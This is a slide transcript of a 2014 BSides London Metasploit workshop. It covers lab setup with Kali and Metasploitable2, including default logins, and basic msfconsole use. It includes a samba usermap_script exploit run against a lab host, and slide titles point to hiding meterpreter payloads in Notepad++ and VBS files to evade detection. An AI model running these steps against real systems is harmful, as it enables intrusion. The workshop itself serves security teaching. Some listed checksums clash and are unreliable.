Upload File

Download - Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Transcript
Page 1: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Metasploit: You can look like Hugh Jackman too!

BSides London 2014

BSides London 2014

Page 2: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Subjects

• What is the Metasploit Framework (MSF)?

• How can I use MSF to my advantage?

• Why would I want to use MSF?

• Last but not least: How DO I actually use MSF?

Page 3: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Terminology

• MSF

• Vulnerabilities

• Exploits

• Payloads

Page 4: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Metasploit trough the ages

• Started out as a ncruses based network game written in Perl

• 2003: MSF 1.0 released (11 exploits)

• Somewhere along the way.. v3.0 written in Ruby

• 2014: MSF 4.9 (1292 exploits)

Page 5: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Inside the box• +1200 exploits

• 700 auxiliary modules

• +200 post modules

• +300 payloads

• +30 encoders

• 8 nops

Page 6: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Sounds AMAZING Mike! How do I get it?

• rapid7.com

• github.com/rapid7

• kali.org

http://rapid7.com
http://github.com/rapid7
http://kali.org
Page 7: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

And now for something completely different…

Page 8: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Running the Metasploit Framework

From Kali Linux

Page 9: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

binary.hybrid3.iso• md5: 058226e666c98e9e094318247ddb5e2c

• sha1: 40ebcbe6487d567f55747a219b426b4e62b4995c

• 32-bits

• Kali 1.0.6

• Metasploit 4.9.2-2014042301

• root/toor

Page 10: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

metasploitable-linux-2.0.0.zip

• md5: 058226e666c98e9e094318247ddb5e2c

• sha1: 8825f2509a9b9a58ec66bd65ef83167f

• msfadmin/msfadmin

Page 11: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Virtualbox Configuration

Page 12: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Interacting with MSF• # msfcli

• # msfconsole

!

• out-of-scope: msfweb/msfgui

• out-of-scope: Armitage

• out-of-scope: Cobalt Strike

Page 13: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Starting MSF from Kali

Page 14: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

msfconsole 101

• msf > version

• msf > banner

• msf > db_status

• msf > help (!!)

Page 15: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

msfconsole basics• msf > search -h

• msf > info searchresult

• msf > use searchresult

• msf auxiliary(searchresult) > show actions

• msf exploit(searchresult) > show options

• msf auxiliary(totallynotwhereIwanttobe) > back

Page 16: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

<3

Page 17: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

And now.. for something completely different!

• Open Source Security Testing Methodology Manual (OSSTM)

• Information Systems Security Assessment Framework (ISSAF)

• Penetration Testing Execution Standard (PTES)

• Open Web Application Security Project (OWASP top 10)

• SANS (20 Critical Controls)

Page 18: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Penetration Testing stages• Information gathering

• Identifying threats

• Identifying vulnerabilities

• Exploiting vulnerabilities

• Post exploitation

Page 19: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Let’s get to it..

Page 20: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

msfconsole 102

• msf > info exploit/multi/handler

• msf > use exploit/multi/handler

• msf exploit(handler) > info

• msf exploit(handler) > show options

• msf exploit(handler) > set variable

Page 21: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

msfconsole 10..3?

• variables are set with set

• variables can be removed with unset

• global variables can be set with setg

• variabelen can be saved to ~/.msf4/config with save

Page 22: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

MSF Jobs & Sessions

• Exploits = jobs

• Payloads = sessions

• msf > help sessions

Page 23: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

MSF Jobs & Sessions

• use back to navigate back to the framework

• use background to suspend a meterpreter session

• msf > jobs -l (list all currently active jobs)

• msf > jobs -i x (interact with job nr. x)

Page 24: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Attack Vectors

• Server-side

• Client-side

Page 25: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Server-side

• msf > db_nmap target-ip

• msf > hosts

• msf > services

Page 26: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

metasploitable2• msf > info exploit/multi/samba/usermap_script

• msf > use exploit/multi/samba/usermap_script

• exploit (usermap_script) > show options

• exploit (usermap_script) > set RHOST 172.x.x.x

• exploit (usermap_script) > set RPORT 445

• exploit (usermap_script) > check (niet alle exploits ondersteunen deze functie)

• exploit (usermap_script) > exploit

Page 27: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Metasploitable2

Page 28: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Ok, great! What now?

• msf > search post/linux

Page 29: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

msfpayload

Page 30: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

msfpayload

Page 31: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Why?

Page 32: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

notepad++ + meterpreter

Page 33: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

notepad++ + meterpreter + 99 iterations

Page 34: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

notepad++ + meterpreter + 999 iterations

Page 35: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

VB… what?!

Page 36: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

pwnage

Page 37: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Notepad++ + meterpreter + VBS

Page 38: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Recap

• What is the Metasploit Framework (MSF)?

• How can I use MSF to my advantage?

• Why would I want to use MSF?

Page 39: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Victory Dance

Page 40: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Questions?

Page 41: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Ok, not bad.. How can I continue?!• http://blog.ctf365.com/metasploitable-in-the-cloud/

• http://r-7.co/Metasploitable2

• http://vulnhub.com

• Be aware of browser exploits!

• Be aware of QR codes!!

• Be aware of ALL THE THINGS!!!

http://r-7.co/Metasploitable2
Page 42: Security BSides London 2014 - Metasploit Workshop: You can look like Hugh Jackman too!

Thank you all and until next year!


Top Related

Metasploit Completo
Metasploit Completo
Metasploit Unleashed
Metasploit Unleashed
Bsides Set
Bsides Set
presentasi Metasploit
presentasi Metasploit
BSIDES MAGAZINE_ APRIL 2007
BSIDES MAGAZINE_ APRIL 2007
BSides Vienna 2015
BSides Vienna 2015
Shane jackman
Shane jackman
Nethemba metasploit
Nethemba metasploit